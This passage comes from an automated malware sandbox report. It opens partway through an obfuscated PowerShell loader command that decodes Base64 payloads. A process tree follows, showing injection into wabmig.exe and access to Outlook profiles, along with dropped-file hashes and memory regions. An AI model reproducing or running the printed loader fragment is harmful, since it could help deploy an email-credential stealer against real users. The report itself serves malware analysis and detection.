Opt.aAmarylEksku:.kikkv.ndryaPedalaSnurpbPentae Ta.inFiffis KompmCalamuCul eg Telel dmugirigsanAt ragmi ros Ness Samp=Bevir NonsGAgoraeDublet eks-forsiCtineioDr ukn .glitMa cae ilbanVejentQuara Gedeh$ParocM CocheFinkmrQidnooSmertpLalpai UncaaOu,grsStrsk ');Talekanalen (Germania 'Glaum$VendigCreatl.oddeoMrk,pbBeaanaMentalWobl :SteriDBor ojForbivBilfoethermlskralsDo nwk,ncomeIn stsDe re Af.an=Shoes Kabin[LimfaS SavkyLaborsBatiktDetoneriddlmudp r.Eq iaCP ehaoSp ldnErganv Drape Cicar orldtPsi,o]Adj d:Jus i:AstraFUnvisrRe ieoBorgemReserBFirmaaStedesofficePref,6Impr,4Ma orSNonsutBarchrNyhediLnpronPossig elfr(humid$ t anvRe,isa TimoaPontibBorgeeVagtsnIntersRammemsmkreu,phthgGlyoxlFunktiAlsi.nP.ocegRecapsstruk)Adun ');Talekanalen (Germania 'Ragin$autofgPrecolKukstoSor ib C noa ollalPhosp:J.ledDAspiryScourrAlde,t ,yppi Videdsherie forhrOktaenVred eKron. Tildr=Prewr tachy[ dersSBararySe,resCatalt barheDaginmAra,a.Ha,roThalvaeClusixEn ydtConst.FyldeE Beh.nSu pacRaadioRugmedPantei,amblnU rangSvlge]Cor o:barse:AnecdABam uSpile COutbrIGreg,Iberve.V skeGBlowge PagitDdsfoSplacitNettor MyeliUndernOv rcgepemb(polys$Spo vDDea ljBrillvEvil e ParalkatjasMakrokInd ae Equas,esth)U der ');Talekanalen (Germania 'Bedst$BanjogAntislSk ifoSkovsbNeonsaUdgralAfskr:sw shI brennCoexitInspie ForbgNoteauNabofmBedyreGentanBortdtmrklaaAlrunlUndk,=Ta tr$MiscoDBjergySalinr ajortEjakui allid Bl,fetidsbrStentn N tae Anti. ompasAvelluAccombunfa.sRea rtGas.rr BelgiBestrnAsshog Scan( U,in$SlrinASu laf Li osSubvekLurdau a admNeissn Ov,riVigtenF gesgViolieUnscrr KontnBoysrean mas Om u, .ank$ Ro.tFLjpesrFasteaTilb,gSkakbtSuperrvil yaskrmmt,venee CamprfolkenTegnieunneu)Unren ');Talekanalen $Integumental;"
            4⤵
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1692
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Roborate.Uns && echo t"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:4248
            • C:\Program Files (x86)\windows mail\wabmig.exe
              "C:\Program Files (x86)\windows mail\wabmig.exe"
              5⤵
              • Accesses Microsoft Outlook profiles
              • Suspicious use of NtCreateThreadExHideFromDebugger
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              • outlook_office_path
              • outlook_win_path
              PID:2660

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1tbvghyq.opc.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1194130065-3471212556-1656947724-1000\0f5007522459c86e95ffcc62f32308f1_a53bb4ca-6113-48bb-9609-441860fdd0d7

      Filesize

      46B

      MD5

      d898504a722bff1524134c6ab6a5eaa5

      SHA1

      e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

      SHA256

      878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

      SHA512

      26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

    • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1194130065-3471212556-1656947724-1000\0f5007522459c86e95ffcc62f32308f1_a53bb4ca-6113-48bb-9609-441860fdd0d7

      Filesize

      46B

      MD5

      c07225d4e7d01d31042965f048728a0a

      SHA1

      69d70b340fd9f44c89adb9a2278df84faa9906b7

      SHA256

      8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

      SHA512

      23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

    • C:\Users\Admin\AppData\Roaming\Roborate.Uns

      Filesize

      454KB

      MD5

      0b4940908143e7fa3180389a9b914557

      SHA1

      50985967f0dd7d2d8fdac35c66e6c066aba58aaf

      SHA256

      6e7664ac02af1fef33611b5150c64e285ca5c5bfda5bd555299c6df7b41f4d22

      SHA512

      eae1f4f22060ae85a31013cf9b904429e914018188eb519135e9ee747ff35b6a6426f665cd61cfb8724908658d11e80deb483901f4357c10cb5d207cb352e299

    • memory/1448-11-0x00007FF9E5F40000-0x00007FF9E6A01000-memory.dmp

      Filesize

      10.8MB

    • memory/1448-15-0x00007FF9E5F43000-0x00007FF9E5F45000-memory.dmp

      Filesize

      8KB

    • memory/1448-16-0x00007FF9E5F40000-0x00007FF9E6A01000-memory.dmp

      Filesize

      10.8MB

    • memory/1448-0-0x00007FF9E5F43000-0x00007FF9E5F45000-memory.dmp

      Filesize

      8KB

    • memory/1448-12-0x00007FF9E5F40000-0x00007FF9E6A01000-memory.dmp

      Filesize

      10.8MB

    • memory/1448-33-0x00007FF9E5F40000-0x00007FF9E6A01000-memory.dmp

      Filesize

      10.8MB

    • memory/1448-61-0x00007FF9E5F40000-0x00007FF9E6A01000-memory.dmp

      Filesize

      10.8MB

    • memory/1448-43-0x00007FF9E5F40000-0x00007FF9E6A01000-memory.dmp

      Filesize

      10.8MB

    • memory/1448-1-0x0000018D54840000-0x0000018D54862000-memory.dmp

      Filesize

      136KB

    • memory/1448-32-0x00007FF9E5F40000-0x00007FF9E6A01000-memory.dmp

      Filesize

      10.8MB

    • memory/1692-17-0x0000000002E60000-0x0000000002E96000-memory.dmp

      Filesize

      216KB

    • memory/1692-40-0x0000000008A60000-0x0000000009004000-memory.dmp

      Filesize

      5.6MB

    • memory/1692-35-0x00000000066C0000-0x000000000670C000-memory.dmp

      Filesize

      304KB

    • memory/1692-37-0x00000000077D0000-0x00000000077EA000-memory.dmp

      Filesize

      104KB

    • memory/1692-36-0x0000000007E30000-0x00000000084AA000-memory.dmp

      Filesize

      6.5MB

    • memory/1692-39-0x00000000078B0000-0x00000000078D2000-memory.dmp

      Filesize

      136KB

    • memory/1692-38-0x0000000007900000-0x0000000007996000-memory.dmp

      Filesize

      600KB

    • memory/1692-34-0x0000000006690000-0x00000000066AE000-memory.dmp

      Filesize

      120KB

    • memory/1692-27-0x0000000005FF0000-0x0000000006344000-memory.dmp

      Filesize

      3.3MB

    • memory/1692-42-0x0000000009010000-0x000000000C3B6000-memory.dmp

      Filesize

      51.6MB

    • memory/1692-21-0x0000000005940000-0x00000000059A6000-memory.dmp

      Filesize

      408KB

    • memory/1692-18-0x00000000059C0000-0x0000000005FE8000-memory.dmp

      Filesize

      6.2MB

    • memory/1692-20-0x0000000005860000-0x00000000058C6000-memory.dmp

      Filesize

      408KB

    • memory/1692-19-0x00000000057C0000-0x00000000057E2000-memory.dmp

      Filesize

      136KB

    • memory/2660-58-0x0000000000C00000-0x0000000003FA6000-memory.dmp

      Filesize

      51.6MB

    • memory/2660-44-0x0000000000C00000-0x0000000003FA6000-memory.dmp

      Filesize

      51.6MB